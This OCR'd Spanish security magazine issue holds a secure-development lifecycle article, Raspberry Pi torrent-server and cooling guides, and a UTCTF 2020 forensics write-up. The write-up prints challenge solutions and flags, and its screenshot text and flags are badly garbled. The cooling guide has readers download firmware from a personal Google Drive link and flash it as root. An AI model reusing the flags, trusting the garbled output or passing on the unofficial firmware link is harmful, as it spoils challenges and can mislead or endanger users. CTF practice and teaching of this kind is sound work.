requerimientos con su respectivo disefio e implementacion de seguridad se lleven a cabo de manera adecuada.
El rol del ingeniero de pruebas de intrusiéon toma mucha relevancia aqui, es quien se encarga de la calidad y
comprobacion sobre los requerimientos de seguridad. Una de las tareas principales que debe llevar a cabo es el
analisis dinamico, para realizar esta tarea se debe contar con herramientas automatizadas que hacen escaneos a
la aplicacion en busca de vulnerabilidades, como ya se mencion6 existen herramientas gratuitas y de paga,
dependera del presupuesto y la experiencia que se tenga con las herramientas decidir cuales usar.

Las herramientas de paga normalmente tienen mayor funcionalidad y cuentan con soporte del proveedor la
mayoria de las veces, pero siempre hay que tomar en cuenta el precio ya que estas normalmente tienen

reputacién de ser costosas. Otra de las actividades relevantes del ingeniero de pruebas intrusion es lo que se le
denomina Fuzz Testing, en esta actividad lo que se requiere es que se hagan pruebas de seguridad manuales
sobre la aplicacion para encontrar vulnerabilidades que la herramienta automatizada pudo pasar por alto,
recordemos que al final de cuentas las herramientas son programadas y realizan pruebas en cosas especificas,
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siempre es importante tener una fase de pruebas de intrusién manuales en donde se revise la aplicacién en busca

de fallas adicionales de aquellas encontradas por las herramientas.

Normalmente, el fuzz testing debe de incluir pruebas en donde el ingeniero intente ingresar datos no validos,
inyectar codigo entre otras estrategias en busca de vulnerabilidades dentro de la aplicacién. Finalmente, se debe
de revisar la superficie de ataque, recordemos que esta tarea se analiz6 en la etapa de disefio y es aqui donde se
debe evaluar nuevamente. La superficie de ataque son los puntos de entrada a la aplicacién los cuales son un
vector de ataque para los atacantes, en este punto el ingeniero de pruebas de intrusion debe trabajar en conjunto
con el arquitecto de seguridad para asegurar que la superficie de ataque sea reducida o bien que existan
mecanismos de seguridad en marcha para el aseguramiento de esas entradas y su mitigacion.

LANZANMIENTO
Una vez que ya se comprobaron los requerimientos de seguridad y se concluyeron las pruebas de seguridad por
parte del ingeniero de pruebas de intrusidon estamos listos para la etapa final y puesta en marcha de la aplicacién.

En esta ultima esta se deben establecer procesos para el cumplimiento y un plan de respuesta a incidentes. El plan
de respuesta a incidentes puede llegar a ser tedioso especialmente para los que no estan acostumbrados a llevar
temas de gestion de Tl. En esta etapa puede ser de gran ayuda el involucrar al personal legal y de auditoria para
que los procesos que se establezcan estén bien validados y tengan un punto de vista de los profesionales que
llevan a cabo este tipo de tareas normalmente. Lo que se busca en esta etapa es que los riesgos que se
identificaron en etapas anteriores tengan una mitigacion en caso de que algo suceda en produccion,
principalmente es establecer a los responsables y los tiempos en los cuales pueden atender los incidentes de
seguridad.

Cuando se tiene identificado a los responsables es buena practica establecer lineas de comunicacion concretas ya
que esto es esencial para que el plan de respuesta a incidentes se lleve a cabo de manera adecuada y los
responsables tengan la misma informacién. Bien dicen que la practica hace al maestro, en esta etapa se
recomienda llevar a cabo simulacros de incidentes de seguridad y ver como responde el equipo. En base a estos
simulacros se hacen adecuaciones y se establecen mejoras para el proceso.

Otra tarea relevante de esta fase es la revision final de seguridad, es decir se debe de tener una revisién con todos
los involucrados para su visto bueno de lo que se realizé. Esto se lleva a cabo con una junta en donde se presentan
documentos y tareas que se realizaron como parte del aseguramiento del software. En esta revision final, se
pueden dar situaciones en las que se deba de tener una votacién para la liberacién final de la aplicacién, esto
puede ser porque no se incluyé alguna mitigacion o por tiempos comerciales se desea liberar en una fecha
establecida. Se toman decisiones importantes en base a los riesgos y algo importante como parte de seguridad es
dejar en claro el riesgo de no incluir alguna caracteristica de seguridad ya que en base a esto los involucrados
deben tomar decisiones de liberacién o no liberacion dependiendo el riesgo.

Es importante dejar evidencia de los acuerdos establecidos y las caracteristicas que se dejaran fuera o se omitiran,
de ser posible si se dejan caracteristicas fuera del alcance se pueden establecer fechas compromiso por los
involucrados en remediar las mismas. La informacién que se haya recabado durante todo el proceso se debe de
compartir con todos los participantes y como recomendacion siempre tener un repositorio central autorizado por
la empresa para depositar todo tipo de documentacién y asi pueda ser consultada en cualquier momento por los

interesados.
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RESPUESTA
Esta post-etapa final de la metodologia es la ejecucion del plan de respuesta a incidentes, en la etapa anterior se
definid el plany se llevaron a cabo simulaciones para probar su efectividad. Entendemos que la seguridad es algo
que constantemente evoluciona al igual que las tecnologias y aunque tratamos de abarcar todos los escenarios y
vulnerabilidades siempre existe la posibilidad que surjan incidentes de seguridad. Cuando esto sucede es
importante ejecutar el plan de respuesta a incidentes como se establecié y una vez resuelto el incidente es
importante tener retroalimentacion de los involucrados para mejorar, la mejora continua siempre es
indispensable en estos procesos.

spLc Agile

En los ultimos afios han tenido mucho foco las metodologias agiles para el desarrollo de software, en esta edicion
vimos la metodologia de desarrollo de software seguro enfocado a las etapas en cascada. Una de las fortalezas
del desarrollo agil es la habilidad de proveer retroalimentacion del sistema en una etapa temprana, la cual puede
identificar riesgos potenciales en una etapa inicial en comparacién con el desarrollo convencional, sin embargo,
los ciclos en la metodologia agil son de dos semanas aproximadamente o menos lo cual puede significar un reto
en el aseguramiento del software y en ocasiones saltandose tareas de seguridad para darle el enfoque a la
funcionalidad. Aun con estas limitantes, podemos llevar a cabo la metodologia del SDLC en conjunto con la
metodologia agil.

La parte de requerimientos de seguridad se lleva de manera muy similar, con la Unica diferencia que aqui se
haran los requerimientos en base a lo que se esta trabajando en el sprint actual. También existen requerimientos
en general de seguridad que se pueden llevar a parte y pedir que se agreguen en el backlog conforme avanza el
desarrollo. La etapa de disefio también se lleva a cabo en ciclos cortos para que los desarrolladores puedan llevar
a cabo las tareas de seguridad en los sprints que se agreguen. Un cambio importante es en la forma que
identificamos las tareas, en la metodologia agil se requiere que las tareas se redacten de una manera que
denominan ‘historias’ esto con la intencion de que cualquier persona pueda entender el requerimiento. Un
ejemplo de esto es una historia de seguridad que puede verse asi:

“Como arquitecta/desarrallador, requiera verificar la aplicacion
del uso apropiado de cadificacion para los outputs/salidas.

Con esta historia entonces agregamos tareas al backlog como:

e Los Outputs/Salidas son renderizadas solamente como HTML
e Los Outputs/Salidas son renderizadas solamente como URL

Como podemos apreciar logramos llevar a cabo la metodologia de esta manera simplemente es un cambio de
paradigma en la estructura, y finalmente tomar en cuenta las tareas de seguridad en forma de sprints o ciclos
cortos, asi que la validacion también se hace en ciclos cortos y el ingeniero de pruebas de intrusion deber participar
y validar los sprints que incluyan tareas de seguridad y de esta manera agregar valor de seguridad en cada sprint
y a corto plazo.



CREANDQO UN
SERVIDOR DE

TORRENT CON
RASPBERRY PI

Vamos a crear un servidor de torrent con una Raspberry Pi, con la finalidad

de compartir sus archivos con sus amigos. Ademas, al hacerlo con una

Raspberry Pi, contamos con la ventaja de dejarla funcionando 24/7 y no
consumira casi nada de energia.

Escrito por: @ANTRAX | ADMINISTRADOR UNDERCODE
Trabaja actualmente como QA en dos empresas de software, controlando la
calidad de los desarrollos que realizan, sometiéndolos a distintas pruebas,
como lo es la seguridad. Participa activamente en la comunidad de UndercOde
como administrador.

Disfruta investigar temas nuevos y redactar papers de lo que va aprendiendo para que

después mas gente pueda aprender de ellos.

Contacto:
undercOde.org/foro/profile/ANTRAX

o primero es tener una Raspberry Pi con Raspbian, que pueden descargarla
desde su web oficial:

www.raspberrypi.org/downloads

RASPBERRY PI
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Una vez instalada, vamos a actualizar el sistema operativo con los siguientes comandos:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get update

Nota: como se puede ver, efecuto dos veces el update, al principio y
al final. A esto por si el upgrade descargo algun repositaorio nuevo, de
esta forma, ademds de descargarlo, lo dejamaos actualizado.

Ahora pasaremos a la parte de la instalacion de Transmission. Para quienes no sepan lo que es, es un cliente
de torrents. De esta forma es posible descargar y cargar archivos a nuestra red P2P.

Archivo

sudo apt-get install transmission

Una vez descargado, se puede ver en nuestro menu en la parte de «Internet»

File Edit Torrent View Help
ﬁ Q [T =

Show: All All

G

Transmission 3.00 (bb6b5a062e)

A fast and easy BitTorrent client
Copyright (c) The Transmission Project
https://transmissionbt. comy

Credits License Close

w ~ Ratio: None
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Ahora vamos a Archivo >> Nuevo

Nuevo torrent v oA X
Archivos
Guardar en: Torrents -
Carpeta fuente gun v
* Archivo fuente: ICSS3 Avanzado.rar 0

9099 MB; 1 archivo; 1.736 partes @ 512,0 KiB

Propiedades

Rastreadores

Para afiadir una direccion URL de respaldo, afiddala en la linea después de la direccion URL principal.
Para afadir otra direccion URL principal, afiadala después de una linea en blanco

Comentario:

Torrent privado

Cerrar Nuevo

Aca debemos seleccionar en que carpeta querremos guardar el .torrent (Archivo que contiene informacién
del torrent) y el archivo fuente, que es el archivo que compartirémos.

Una vez hecho esto, clickeamos en «Nuevo» y se afiadira a nuestra lista.

Ahora simplemente debemos enviarle ese .torrent a un amigo o podemos generar un «link» de descarga
dando click derecho y seleccionamos la opcion «Copiar enlace Magnet al portapapeles». Este link tiene un
hash con la informacion del torrent. Al igual que el archivo .torrent, podemos enviarle este link a nuestros
amigos para que descarguen nuestro archivo. (Funciona con cualquiera de las dos formas)

Esto sirve para tener la Raspberry Pi todo el dia funcionando sin tener que preocuparse por el consumo
energético.

En mi caso, estoy utilizando una Raspberry Pi 4 (La version de
4GB) y tiene un defecto, el cual es que levanta mucha
temperatura. Pera en el proximao paost explicaré coma bajarle la
temperatura de 60° a menas 30°..

BitTorrent o Torrent es un sistema de comparticion de archivos de tipo P2P (Peer to Peer o entre pares).
Siempre que navegamos por internet, jugamos en linea, etc. Se utiliza una estructura Cliente-Servidor
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En el caso de los Torrent, esta estructura desaparece (evitando la capa de control de archivos) y la
transferencia es directa con el resto de los pares.

_— .
/ N

< <>

N /
-

CARACTERISTICAS DE LOS TORRENTS:
1- Garantia de descarga de archivos a través de la red (de forma rapida y segura).

2- Posee un algoritmo que evita que los usuarios solo descarguen archivos sin contribuir al sistema.

Para poder utilizar torrent y compartir/descargar archivos, es necesario un cliente de torrent (En este post vimos
Transmission) pero hay varios clientes como QB, uTorrent, Vuze, entre otros.

La palabra BitTorrent significa BIT = unidad de medida mas elemental de los datos y TORRENT = significa que seremos
parte del torrente del flujo de informacion. Al instalar un cliente de los anteriormente mencionados, aceptamos los
acuerdos de descargar y compartir archivos. Es decir, pasamos a formar parte de este sistema de comparticién de a
pares y los demas usuarios podran descargar de mi computadora los archivos que yo he descargado por medio de esta
red.

FUNcionamiento
Suponiendo que tenemos un archivo que pesa 900MB, el cliente de torrent lo parte en 900 archivos de TMB

cada uno y los agrupa en bloques. Finalmente se crea el archivo .torrent que contiene informacion o las
instrucciones de como debe ser descargado, como esta dividido, de donde se puede descargar, etc.
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La computadora que contiene este archivo para compartir, se lo conoce como Seed o Seeder (Semilla o
Semillero) que inicia la comparticion. El Seed envia este archivo .torrent o el link a las computadoras que
quieren el archivo y al abrirlo, comienza la descarga de esos bloques segun la disponibilidad del Seed. A estas
computadoras se las conoce como Leech (Sanguijuela), es decir, que se esta alimentando de los datos
entregados por el seed.

Suponiendo que hay 10 computadoras descargando un mismo archivo, y una de ellas tiene una buena
conexion a internet y termina, esta inmediatamente se convierte en un Seed y el resto de los Leech pueden
descargar el archivo o los bloques de este nuevo proveedor. Al tener multiples semillas, la descarga se le
completara mas rapido al resto de los Leech y luego también pasaran a ser Seeds de ese archivo.

Ahora... {Qué pasa si una computadora, después de descargar el archivo desconecta su conexién o quita el
archivo y no aporta a la red?

Aca entra en juego la segunda caracteristica de los torrents, que es el algoritmo «Choke» (Estrangulacion)

Algoritmo choke

Cuando una computadora recibe muchas peticiones de descarga, esta decide quienes pueden descargar sus
archivos, y para ello se basa en la cantidad de datos que ha compartido en Torrent. Es decir, si un usuario ha
descargado mucho mas de lo que ha compartido, este usuario no sera seleccionado. En otras palabras, la
persona que no comparte, queda con muy baja prioridad para ser seleccionado para descargar, o
simplemente no queda en la lista para descargar el archivo.
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COMO DISMINUIRLE
LA TEMPERATURA A
LA RASPBERRY Pl4

Para entrar en contexto, cabe sefalar que tenemos una Raspberry Pi 4 de

4GB. Sinceramente es un lujo, es muy rapida, pero todo lo bueno tiene su

parte mala. Es increible la temperatura que levanta en pleno funcionamiento.

Escrito por: @ANTRAX | ADMINISTRADOR UNDERCODE
Trabaja actualmente como QA en dos empresas de software, controlando la
calidad de los desarrollos que realizan, sometiéndolos a distintas pruebas,
como lo es la seguridad. Participa activamente en la comunidad de UndercOde
como administrador.
Disfruta investigar temas nuevos y redactar papers de lo que va aprendiendo para que
después mas gente pueda aprender de ellos.
Contacto:
underc0de.org/foro/profile/ANTRAX

L realizar el servidor de torrent del articulo anterior, la temperatura llego
a 62°, leyendo por internet, encontramos que varios usuarios se quejaban
de lo mismo. De hecho, uno mencionaba que su raspberry llegd a 80°.
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En Argentina, la Raspberry Pi 4 es muy costosa, asi que lo mas idéneo fue comprar solo la placa, sin los accesorios
(carcasa con cooler y demas)

Por lo que el mayor riesgo era que se dafiara por la alta temperatura, y lo mejor fue ponerle disipadores.
A la temperatura podemos verla en tiempo real por medio del siguiente comando:
watch -n 1 «vcgencmd measure_temp»

R pi@raspberrypi: ~ 149x15

pi@raspberrypi: ~ 149x21

76, 196

04:32:

Como se puede ver, la temperatura esta en 62°.

Googleando un poco encontramos algo que llamaba mucho la atencidén, y es que la temperatura alta se
origina cuando la Raspberry alimenta los puertos USB 3.0, es decir, gasta mucha energia en alimentar esos
puertos.

Como solucion a esto, salié una actualizacién del firmware que reduce este consumo y disminuye la
temperatura, pero hace que los puertos funcionen mas lentos.

Fuente oficial: www.raspberrypi.org/forums/viewtopic.php?f=28&t=243500&p=1490467#p1490467
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Pasos

1. Descargamos del siguiente Drive el
firmware: drive.google.com/file/d/1PXwrnhAXKB1hb5|6 EfPy5zLQkgnbGba/view

2. Y lo descomprimimos e instalamos:

unzip v1805_update_0137a8.zip
chmod a+x v1805

sudo ./v1805 -w v1805_fw_©0137a8.bin
sudo reboot

ara poder revertir los cambios:

Wl A A A

$ sudo ./v1805 -w v1805 fw_013701.bin
$ sudo reboot

Con esto reduciremos unos 10° la temperatura, pero perdemos velocidad en los puertos 3.0.

En mi caso, no fue la solucion, solo se las dejo por si a ustedes les sirve. Particularmente tengo una
HDD de 2TB conectado, ya gue la uso para guardar backups, y necesito gue los puertos sean veloces.

La siguiente opcion fue fabricar una carcasa a la cual se le pueda poner un buen cooler. En thingverse* existe uno
ideal:

Este case cuenta con dos partes, la base y la parte superior en forma de corneta que es la mas importante, ya que
tendra el cooler. En este caso entra un cooler de 4 pulgadas (12cm aproximadamente) y quedaria algo asi:

4 Link de Thinkverse por si alguien mas quiere imprimir este case: www.thingiverse.com/thing:3780466
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Ahora simplemente hay que llevarlo a la practica... Manos a la obra a imprimir la carcasa

proyecto ensamblado

resultado FivAaL de la temperatura

pi@raspberrypi: ~ 150x18

Como se puede ver en laimagen, la raspberry pi trabaja ahora a 22°. Baj6 40° solo por el casey el cooler.

Nota: Otra cosa que me faltc aclarar, al cooler le calogué un
transformador de 12v 1000mA. No estd conectado a la placa
porgue eso haria gue funcione mds lenta la transferencia de
datos del disco. He visto que existen miles de cases para la
raspberry, pero hay varios que son para coolers peguerios.
Sinceramente no sé qué tan eficiente sea.




FORENSICS, QUICK
AND DIRTY INTRO

CAPTURE THE
FLAG / RETOS

Un CTF (Capture The Flag/Captura la bandera). Son competencias que permiten poner
a prueba nuestras habilidades sobre hacking por medio de retos de diferentes
modalidades que tendremos que resolver para conseguir la famosa flag que es un A RE—=

codigo (Por ejemplo: flidg<W3/cOm3_t0 CTF} que permite confirmar a la plataforma del L
desafio que hemos sido capaces de resolver el reto y normalmente, va acompafiada R -
de una compensacién con puntos o premio. La cantidad de puntos ira relacionada
con la complejidad del reto y/o tiempo/personas en resolverlo. Por ejemplo, si el reto
principalmente vale 100 puntos y hemos sido los 2° en resolverlo, pues el 1° habra

ganado 100 puntos, nosotros (2°) 99 puntos, el 3° 98 puntos, etc.

ESCRITO POR: @KD3N4_FER EN COLABORACION CON UNDERCODE
Integrante del Mayas CTF Team equipo orgullosamente mexicano con una meta en
comun, poner el nombre de México en lo mas alto en competiciones tipo CTF a nivel =
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Contacto: = —_—

Blog: mayas-ctf-team.blogspot.com -F : =

Agradecemos a @ArdaArda por el contacto 7:7 :j

os CTFs tienen un tiempo limite para resolver el mayor nimero de retos —

posibles y sirven para: —
Adquirir conocimientos y experiencia en el entorno de la seguridad informatica. ]
Poner a prueba nuestras habilidades de hacking de forma legal y controlada. (o >}

Mejorar nuestro curriculum vitae.
Lo mas importante.... jPara divertirnos!
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Durante el Capture The Flag UTCTF edicién 2020 en el cual participamos, logramos resolver todos los retos de la
categoria Forensics.

+[BASICS] FORENSICS
Empezamos a calentar motores con el reto.
Nos proporcionan un archivo llamado "secret,jpg", como primer paso analizamos el archivo con el comando file ya que es algo
comun que los tipos de archivos no coincidan con las extensiones que tienen.
comando:
file secret.jpg
+ root@NIGHTDRAGON ~/Documents/utctf2020/forensics.d/forensics 1s

~/Documents/utctf2020/forensics.d/forensics Tfile secret.jpeg

. Unicode text, with CRLF line terminators
+ root@NIGHTDRAGON ~/Documents/utctf2020/forensics.d/forensics l

Ya que al parecer no es una imagen si no un archivo de texto, suponemos que la flag estd dentro, asi que con la
herramienta strings extraemos todas las cadenas de texto del archivo, y con grep filtramos la salida para encontrar la flag.

comando:
strings secret.jpeg | grep flag

strings secret.jpeg | grep flag

+observe closely
En este reto nos proporcionan un archivo llamado " Griffith_Observatory.png' como siempre, el primer paso es revisar

el tipo de archivo con el comando file, en la Figura 3 se muestra que efectivamente es un archivo PNG:
root@NIGHTDRAGON ~/Documents/utctf2020/forensics.d/Observe_Closely file Griffith_Observatory.png

.rLff\th Ob ry.png: PNG image data, 328 x 155, 8-bit/color RGBA, non-interlaced
00t@NIG ON ~/Documents/utctf2020/forensics.d/Observe_Closely

Al tener archivos de tipo imagen, es muy probable que hayan usado alguna técnica de esteganografia para ocultar la
flag, aunque también es probable que la flag esté embebida, para comprobar esta idea usamos la herramienta binwalk.

comando:
binwalk Grlfflth Observatory png

oot@NI ON  ~/Documents/utctr2eze res . e tnwalk bservatory.png

HEXADECIMAL DESCRIPTION

ox8
0x29

Ox1F36F @ E gast v2. xtract, ¢ Q550 3 7, uncompressed size: 16664, name: hidden_

Bx1FDC4 /
Observamos que tiene un archivo ZIP embebido y dentro del archivo ZIP hay un archivo llamado "hidden_binary", extraemos
todo con la herramienta binwalk
comando:

binwalk -e Griffith_Observatory.png
Como resultado nos creara una carpeta la cual contiene los archivos que se extrajeron.

comando:
cd _Griffith_Observatory.png.extracted

Con la herramienta strings no se encontr6 la bandera embebida en el archivo "hidden_binary" por lo que se otorgaron
permisos para ejecutarlo.
comandos:

chmod +x hidden_binary
./hidden_binary

TDRAGUN 0

29 29.211b \

~/Docuuqnts/utc\f2020/forenstcs d/0Observe_Closely/_Griffith_Observatory.png.extracted chmod +x hidden_binary
~/Documents/utctf2828/forensics.d/0bserve_Closely/_Griffith_Observatory.png.extracted ./hidden_binary

Ah, you found me!
utflau{’fbeg c2ad89c71dad8cabe98al21co}
I ON ~/Documents/utctf2828/forensics.d/Observe_Closely/_Griffith_Observatory.png.extracted



https://drive.google.com/file/d/12lPP9QuzB4IxR2Jrci6jqukKZ3PpaSZv/view?usp=sharing
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#1 Frame per minute
Continuamos con un reto un tanto peculiar donde nos proporcionan un archivo "sjignals.waV', en la misma descripciéon

nos dice que la informaciéon que contiene estd en un formato llamado "Slow Scan Television (SSTV)", se encontroé la
herramienta para Windows llamada " RX-SSTV", la cual permite extraer la informacion.

:.','f);Jf/ osjUNEITIU]

FIRIEE t ‘ 0 o

Para extraer la flag solo debemos reproducir el audio, de modo que un micré6fono lo capte. El software automaticamente
detectara el formato y mostrara una imagen con la flag.

c
5
@
;I
f
)
n

5384cdfd166b0

*SPECTRE

El siguiente reto es uno muy comun en la categoria de esteganografia, ya que es el tipico mensaje oculto en el
espectrograma del archivo de audio "song.waV', y es facil verlo con audacity o herramientas online como spectrum-
analyzer.

I ol = e 1l el i 9
R Tt S T s

+The Legend of Hackerman, pt.»
En este reto nos proporcionan otro archivo PNG llamado "hackerman.png", pero con el comando file obtenemos
la informacién de que solo era DATA.

comando:

file hackerman.png

@NIGHTDRAGON ~/Documents/utctf2028/forensics.d/The_Legend_of_Hackerman_Pt._1 file hackerman.png
hackerman.png: data

Se encontr6 algo interesante al ver el archivo en hexadecimal con la herramienta xxd

comando:
xxd hackerman.png | less

xxd hackerman.png | less ~
P0000000: 0000 0000 0dOa 1aGa 0000 000d 4948 4452

00000010: 0000 04a8 0000 029¢ 0806 0000 0081 2e23
00000020: af0® 0028 257a 5458 7452 6177 2070 726f ...(%zTXtRaw pro
POO0OO30: 6669 6c65 2074 7970 6520 6578 6966 0000 file type exif..



https://drive.google.com/file/d/1IBbDqYWPKIGy5gFfuREs_9cSHYXhAzwV/view
https://drive.google.com/file/d/18qVxcWwaC54bBBPsakh29BDy2aZ2gNdC/view?usp=sharing
https://academo.org/demos/spectrum-analyzer/
https://academo.org/demos/spectrum-analyzer/
https://drive.google.com/file/d/1tPOVTo5-kVry5Tsa5dJuOIyuh_ruo1L6/view?usp=sharing
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Se observa que los primeros bytes estan en 00 y esa es la razén por la que no se reconoce el tipo de archivo, en
esta pagina podremos encontrar los Magic Numbers de todos los tipos de archivos. Estos primeros bytes son el Header
de los archivos y permiten identificar cada tipo de archivo o Mime Type.

La extension del archivo nos indica que es un archivo PNG y la cabecera deberia ser "89 50 4E 47 0D 0A 1A 0QA",
observamos que la mitad de la cabecera coincide, por lo que deducimos que es un archivo PNG. Una vez modificada la
cabecera con cualquier editor hexadecimal, por ejemplo hexed.it, el resultado es:

+The Legend of Hackerman, pt. 2

Este reto parece ser la segunda parte del anterior, pero en esta ocasidon nos proporcionan un archivo DOCX llamado
"Hacker.docx". En el contenido del archivo no mostraba nada interesante, por lo que se procedié a hacer un andlisis
estatico. Tengo entendido que los archivos DOCX son similares a los archivos comprimidos, ya que pueden contener
multiples archivos, como imagenes, archivos de texto, configuraciéon del documento, fuentes, estilos, etc. entonces nos
hizo pensar que podia contener archivos extras.

comando:
binwalk Hacker.docx

Pt._2 binwalk Hacker.docx
HEXADECIMAL DESCRIPTION

oxe Zip archive
0x112 Zip archive
0x275 Zip archive
8x572 Zip archive
0x16A4 Zip archive
9x1788 Zip archive
0x182E Zip archive
0x18FB Zip archive
0x19A0 Zip archive
0x1A47 Zip archive
Ox1AEB Zip archive
6x1889 Zip archive
0x1C52 archive
0x1CF6 p archlve
8x10C0 archive
Ox1E74 Zip archive
Ox1FBA ) archive
Ox1FAE archive

extract, _rels/.rels
extract, me: word/fontTable.xml
extract, me: word/styles.xal
extract, me: word/_rels/document.xml.rels
extract, me: word/settings.xml
extract, name: word/media/image97.png
extract, me: word/media/imagel®2.png
extract, : word/media/image96.png
extract, me: word/media/imageldl.png
extract, me: word/media/image95.png
e: word/media/image188.png
e: word/media/image8s.png
: word/media/image87.png
: word/media/images6.png
: word/media/image85.png
e: word/media/image8d.png
e: word/media/images3.png
extract, name: word/media/image82.png

PP o PP RPRPRPRPRPRPRPRIRPRRRR

La idea fue carrecta, tenia muchas imdgenes dentro
y fue necesario extraerlas todas para analizarlas.

comando:
binwalk -e Hacker.docx

Se revisaron todas las imagenes en la carpeta de "/word/media/" hasta encontrar la flag en el archivo "image23.png"

comando:
cd _Hacker.docx.extracted/word/media/

utflag{unzilp_
3v3rythlng}



https://www.garykessler.net/library/file_sigs.html
http://hexed.it/
https://drive.google.com/file/d/1wSHv22C9P295lI5e2Jfoi03iHDCDOCRQ/view?usp=sharing
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En este Ultimo reto nos proporcionan un archivo de texto llamado "zero.txt", el cual contiene una sola linea, esta linea

es un texto aleatorio que se usa para rellenar paginas web que estan en construccion, aqui un generador en linea.

root@NIGHTDRAGON ~/Documents/utctf2028/forensics.d/Zero_ cat zero.txt
Lorem tpsum dolor sit amet, consectetur adipiscing elit. Phasellus quis tempus ante, nec vehicula mi. Altguam nec nist ut neque interdum

auctor. Altiquam felis orci, vestibulum sit amet ante at, consectetur lobortis eros. Orcl varius natoque penatibus et magnis dis parturt
ent montes, nascetur ridiculus mus. In finibus magna mauris, quis auctor libero congue quis. Duls saglttis consequat urna non tristique,
Pellentesque eu lorem id quam vestibulum ultricies vel ac nurua.ﬂ

Analizando mas el archivo, algo no tenia sentido, el nUmero de caracteres no parecia ser el que nos mostraba, el nUmero
de caracteres que nos daba la herramienta wc era 1952, sin embargo, visualmente parecian menos en comparacién con
la imagen anterior. En Python imprimi el caracter 'A' 1952 veces, y aun sin espacios eran muchos mas caracteres que los
que mostraba el archivo "zero.txt"

~/Documents/utctf2020/forensics.d/Zero_ wc -c zero,txt
~/Documents/utctf2828/forensics.d/Zero_ wc -1 zero.txt

] ~/Documents/utctf2028/forensics.d/Zero. python
default, Jan 19 2028, 19:54:54)

80118] on linux2

“copyright”, “"credits” or “license* for more information.

FAAAAAAAAAALAAAAALAAAAAAAAALAALAARAAAAAALAA LA AL AAAAAAAAAAAAAA ALAAAAAAAAALAAAAAAAAAA A AR AAAA AL A ARAAAAA AL AALAAAAAAAAAAAAAAAAA ALAARAAAAAALAA
AAAAAAAAAAAAAALAAAAAALAAAAAAAAAAANAAAAAALAAAAAAAAAAAAAAAAAALAAAAAAAAASAAAAAAARAAAAAAARAALAAAA AN AR AAAAAALAAAAAAAAAAAAAAAAAANAAAAAALAALAN
AAAAAAAALAAAAAAAAAAANAAAAAALAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAA AR AANAAALAAAAAAAAAAAAAAAAAAAAALA AN A AA LA AAAAAA AN AAAAAAAAAAAAAAAAAAAAAAAAALAA
AAAAAAAAAAAAAAAAANAANAAAAAALAAAAAAAANAARARAALAAAAAAAAAAAAAAAAAAAAAAAAALAALAANASAA AN ARAAA AL AAAAANAAARAAAAAAAASAADAAAA AR AR AN A AN AAAAAAAAALAA
ANAAAAAAAAAAAALAALAANAAAAAAAAALAANAANAAALAALAANAADAAAAAAAAALAANAANAAAAAALA AL AANAAAAAALAALAAAAANAAAAAAAAALAALAANAAAAAALAALAALAALAAALAALAL
ALAALAAAAAALAALAANAANAADAAALAALAARAADAANLAALAALAALAANAAALAALAAQAANAAAAAAAAALAASAANAAAAAALAALAALAAAAAALAALAALAANAARAAAAAALAALAADAANAAALAA
AAAARAARAAAAAALAAAAALAAAAAAAAALAARAARAAALAAAAALAALAAAAAAAAALAASAALAAAAAAAA AL A ARAAAAAAAAAAAALAALA AAAAARAALAALA ALA ARAAAAAALAARAANAARAARAAR
AAAAAAARAAAAAALAAAAAAAARAARAAAAAAARAARAAAAARAAAAA AAAARAARAAALAAAA AAAAAAARAAALA ALAAAAAAA A AAA AAA AL AARAAAA A AL A AAA AR AAAAARAA AL A ARAARAAAAARAAA
AAAAAAAAAAAAAALAASAAAAAAAAAAAAAAAAAAAAAARAAAAAAA AAAAAAAAAAALAALAAAAAAAAAAA ASRAAAAAAAAAAAAAAAAA AAAAAAAAAAALAAAAAAAARAAAAAARA ARAAAAAAAAAAAA
AAAAAAAAAAAAAALAAAAAARAALAAAAAAAALAAAAAALAALAAAA AAAAAAAAAAALAAAAAAAAAAAAAA AR A AAAAARAALAALAAAA ARAAAAA AL AALAAAA AL A AAAAAAAA LA ALAAAAAALAALAA
AAAAAAAAAAAAAAAAANAAAAAAAAASAAAAAAAAAAA AR AAAAAAAAAA AAAAALARAAAAAAAAA AL ANAAAAAANA ANAAAAAA LA AN AAAAAAAAAAAAAAAAA ANAARAAAAAALAARAAAAAALANAAA
AAAAAAAALAALAAAAAAAANAANAAALAAAAAAAAAAAAAAAAAALAADAAAAAALAAAAASAANAAALAAAA AN A AAAAAAA DA AAAAALA AN A AA LA AAAAAA AAAANAA AL AR LA AN AAAAAAAANAAALAA
AAAAAAAAAAAAAAAAAAAANAAAAAALAALAAAAAAAAALAALAANAANAAAAAAAAAAAAAAANAAALAALAANAAAAAAAAAAA AL AANAANAAARAAAAAAAALAADAAAAAA LA AN A ANAAAAAAAARLAA
ALAAAAAAAAALAAALAANAANAAALAAAAALAALAAAAAALAALAALAALAAAAAALAALAALAALAAAAAALA AL AALAAAAAALAALA AN A AN AAAAAALAALAALA AL AAAAAARAALAALAALAAALAALAN
ALAALAAAAAAAAALAAAAANAAALAALAALAAAADAAALAALAALAA "

Al abrir el archivo "zero.txt" con el editor vi se pudo visualizar los caracteres extra, como lo muestra a continuacién:

comando:
vi zero.txt

ff » mauris,

>Libero congue qu

quat urna non tristigue. Pellent
esque eu lor 8@ p8d < < > d quam vestibulum ultric
les vel pur > B 208

Investigando en Internet estos caracteres, encontré que el "200b<200b>" es conocido como zero-width space, y llegué

a este post, al parecer son caracteres UTF-16 y los usan para ocultar mensajes.
UTF-16 8203 = ©

UTF-16 8204 1

UTF-16 8205 = separador

Buscando una forma de  decodificar el mensaje encontramos una  herramienta  online:
Unicode Steganography with Zero-Width Characters

Resultado: utflag{whyNOT@sc11_4927aajbqk14}



https://drive.google.com/file/d/1hdGLRQGtjkuCcC4eLeJ5WXkKB67gURfl/view?usp=sharing
https://es.lipsum.com/
https://medium.com/@SimpleDynamics/plaintext-steganography-on-the-web-c0af4ece9f58
https://1.bp.blogspot.com/-xDE2TeahTzU/Xng6AQWVeoI/AAAAAAAAAgM/mzAAt6zv-oEHW4soEFDjnEX5KXQIRUqjQCLcBGAsYHQ/s1600/14.png
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nuestros lectores 'y a todos los que tuvieron un
comentario/recomendacion para mejorar nuestro trabajo. O3
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Probablemente algunos conocieron UnderDOCS sobre la marcha, un proyecto realizado gracias al
valiosisimo aporte de uno o varios articulos de muchos colaboradores que, dedicando su tiempo,
conocimiento y esfuerzo, que en cada entrega nos ensefiaron o nos ayudaron a reforzar
conocimientos, una revista digital publicada cada mes, desde el 10 de Julio de 2019, aqui les tenemos
las referencias de nuestras 11 ediciones anteriores.

LOS RETOS
SON CAMBIOS
